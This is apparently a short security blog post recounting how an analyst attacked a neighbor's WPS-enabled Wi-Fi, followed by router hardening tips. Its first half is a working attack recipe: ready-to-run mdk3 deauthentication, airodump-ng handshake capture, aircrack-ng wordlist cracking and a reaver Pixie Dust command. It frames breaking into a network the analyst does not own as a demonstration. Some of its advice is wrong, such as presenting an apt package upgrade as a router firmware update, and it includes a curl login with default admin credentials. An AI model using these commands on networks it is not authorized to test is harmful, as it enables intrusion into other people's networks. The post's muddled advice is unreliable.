When a network security analyst discovered a neighbor’s Wi-Fi with WPS enabled, it became an opportunity to demonstrate real-world Wi-Fi hacking techniques. Here’s how it happened and what you should know about WPS vulnerabilities.
Tools & Techniques Used
1. Deauthentication Attack (`mdk3`):
mdk3 wlan0mon d -c <channel> -b <BSSID>
Forces devices to disconnect, capturing the 4-way handshake.
2. Handshake Capture (`airodump-ng`):
airodump-ng wlan0mon --bssid <BSSID> -c <channel> -w capture
Saves the handshake to a `.pcap` file for analysis.
3. Cracking with `aircrack-ng`:
aircrack-ng -w rockyou.txt capture.cap
Attempts to crack the password using a wordlist.
4. Pixie Dust Attack (`reaver` or `bully`):
reaver -i wlan0mon -b <BSSID> -vv -K 1
Exploits weak WPS PIN generation to recover the Wi-Fi key.
You Should Know: Securing Wi-Fi Networks
1. Disable WPS
WPS (Wi-Fi Protected Setup) is a major security flaw. Disable it in your router settings:
Check if WPS is enabled (Linux) wash -i wlan0mon
2. Change Default Router Credentials
Most routers use `admin/admin` or admin/password. Always change these:
Example: Logging into a router (Linux/Windows) curl http://192.168.1.1/login --data "username=admin&password=admin"
3. Use Strong Wi-Fi Passwords
Avoid dictionary words. Instead, use:
Generate a strong password (Linux) openssl rand -base64 12
4. Update Firmware
Outdated firmware is a common attack vector. Check for updates:
Linux (check for available updates) sudo apt update && sudo apt upgrade
5. Monitor for Rogue Devices
Use `nmap` to scan your network:
nmap -sn 192.168.1.0/24
What Undercode Say
This case highlights how easily Wi-Fi networks can be compromised if basic security measures are ignored. Ethical hacking skills can expose vulnerabilities before malicious actors exploit them.
Expected Output:
- WPS disabled.
- Strong Wi-Fi password set.
- Router credentials changed.
- Firmware updated.
- Network traffic monitored.
Prediction
As IoT devices grow, WPS attacks will remain a threat. Automated tools will make exploitation faster, forcing stricter Wi-Fi security standards.
